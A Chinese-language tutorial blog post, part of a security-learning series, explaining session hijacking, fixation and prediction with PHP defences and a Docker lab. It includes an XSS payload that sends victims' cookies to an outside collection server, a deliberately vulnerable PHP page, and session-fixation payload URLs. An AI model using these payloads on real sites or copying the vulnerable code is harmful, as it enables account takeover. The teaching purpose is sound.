iT邦幫忙

第 12 屆 iT 邦幫忙鐵人賽

DAY 15
4
Security

資安這條路─以自建漏洞環境學習資訊安全系列 第 15

資安這條路 15 - [Seesion] Session 劫持、 Session 固定

前言

<心態崩ㄉme>
慢下來停下來,該回頭看看自己的努力。
恩!今天是第十五篇,下班了,我不想做事情,不想製圖不想寫文章,好想放棄鐵人賽。
我不在意瀏覽量,也不在意榜,我只在意自己的文章有沒有幫到別人。
沒關係啦,繼續努力,先祝福大家中秋節快樂。
我想起在資安路上,常常會有人挑戰你,首先最好最好就是不要讓自己打敗自己
如果你不認識我,沒關係,你只要知道我還是會一直努力地分享。
</心態崩ㄉme>

Session

  • 通常被對岸翻譯成「會話」,但我們在這篇文章還是稱呼他為 Session 。

還記得第二篇談到 HTTP 的時候,我們說 HTTP 是無狀態的通訊協定,
我們透過 Cookie/Session 去做狀態的管理。

    • 當我們送登入的請求過去伺服器,伺服器會確認帳號密碼是否正確,如果正確就會新增一筆 SessionID ,並再回傳的 Response 設置 Set-Cookie,並且在資料庫中寫入 SessionID,這時候使用者的瀏覽器就會有一筆 Cookie 的值( 就是所謂的登入狀態),而使用者請求其他有權限的頁面,就會夾帶 Cookie 的值,而接受到有夾帶 SessionID 的封包,伺服器就會去確認 SessionID 是否存在且合法並在有效期間內。
  • PHP 的 Session 機制

    • 預設會在 /tmp
    • 檔案名稱 sess_<隨機字串>

Session Hijacking 劫持

    • 介紹過 XSS 插入 POC 可以把目標導向駭客/收集 Cookie 的伺服器
      • <script>new Image().src="http://feifei.com.tw/collect.php?c="+document.cookie;</script>
      • 到駭客/收集 Cookie 伺服器中查看 log
      • 就會取得受害者的 Cookie
    • 竊聽、封包攔截
      • 受害者如果信任駭客的裝置,駭客就有機會可以攔到受害者的封包,其中封包內就會有受害者的 Cookie 。

Session Fixation 固定

    • 介紹過 CRLF injection 可以注入一筆 cookie 的值,導致受害者的瀏覽器中的 Cookie 是已經被駭客固定住的。

Session Prediction 猜測

    • 當 SessionID 是可以被駭客猜測到的,那駭客有可能就直接透過暴力破解的方式,找到一組已經登入過的、被驗證的 SessionID

CSRF

    • 也是與 Session 相關的弱點

防護方式

  • Cookie 可以設定以下兩種屬性
    • HTTPOnly
      // In php.ini 設定檔
      session.use_only_cookies = 1
      session.cookie_httponly = 1
      
    • secure
  • 登入成功之後,更新為新的 SessionID
    • session_regenerate_id();

LAB

  • server/fixation.php

    <?php
    session_start();
    if( isset($_GET['password']) && $_GET['password'] == 'feifei' ) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = 'feifei';
    }
    if( isset($_SESSION['username']) && $_SESSION['logged_in'] ) {
        echo "目前登入身分為", htmlentities($_SESSION['username'],ENT_QUOTES,'UTF-8');
    } else {
        echo "尚未登入<br>";
    }
    echo "session ID is " . session_id(); 
    echo $_GET['q'];
    
    ?>
    
  • docker-compose.yml

    version: "2"
    services:
        web:
            image: php:7-apache
            ports: 
                - "8015:80"
            volumes:
                - ./server:/var/www/html/
            networks:
                - default
    
  • http://127.0.0.1:8015/fixation.php?PHPSESSID=<PHPSESSID>

  • http://127.0.0.1:8015/fixation.php?q=<script>document.cookie="PHPSESSID=<PHPSESSID>";</script>


上一篇
資安這條路 14 - [權限控管漏洞] 水平越權、垂直越權、資料洩漏
下一篇
資安這條路 16 - [WebSecurity] Web cache poisoning
系列文
資安這條路─以自建漏洞環境學習資訊安全31
0
huli
iT邦新手 5 級 ‧ 2020-10-01 12:04:50

這系列文章很有幫助,繼續加油!

飛飛 iT邦新手 4 級 ‧ 2020-10-01 23:27:19 檢舉

謝謝~~希望自己可以多寫一些技術內容~

1
通靈亡
iT邦研究生 3 級 ‧ 2020-10-01 14:28:04

這個系列文讓我想到
以前我還對資安有興趣的時候
每次只要想了解某一項東西,像是XSS、CSRF、Session hijacking
就算看很多的文章、程式碼
都還是常常感覺似懂非懂
甚至不知道實際上會怎麼被利用

能把這麼複雜而且分散的Web資安
很有條理且有順序的說明又實例化
真的很不容易。

飛飛 iT邦新手 4 級 ‧ 2020-10-01 23:27:53 檢舉

謝謝你的稱讚~這個系列雖然不是手把手系列,但還是希望大家可以多知道有關 web 的安全。

0
wlhfor1974
iT邦新手 4 級 ‧ 2020-10-05 08:47:19

以前沒唸到session的攻擊方式,感謝分享哦~~

飛飛 iT邦新手 4 級 ‧ 2020-10-05 18:06:53 檢舉

謝謝你 :)

0
隱士者
iT邦新手 5 級 ‧ 2020-10-05 11:24:19

加油!!! 妳的文章讓我了解到很多資源跟資安的觀念

飛飛 iT邦新手 4 級 ‧ 2020-10-05 18:06:41 檢舉

謝謝你的鼓勵 :)

我要留言

立即登入留言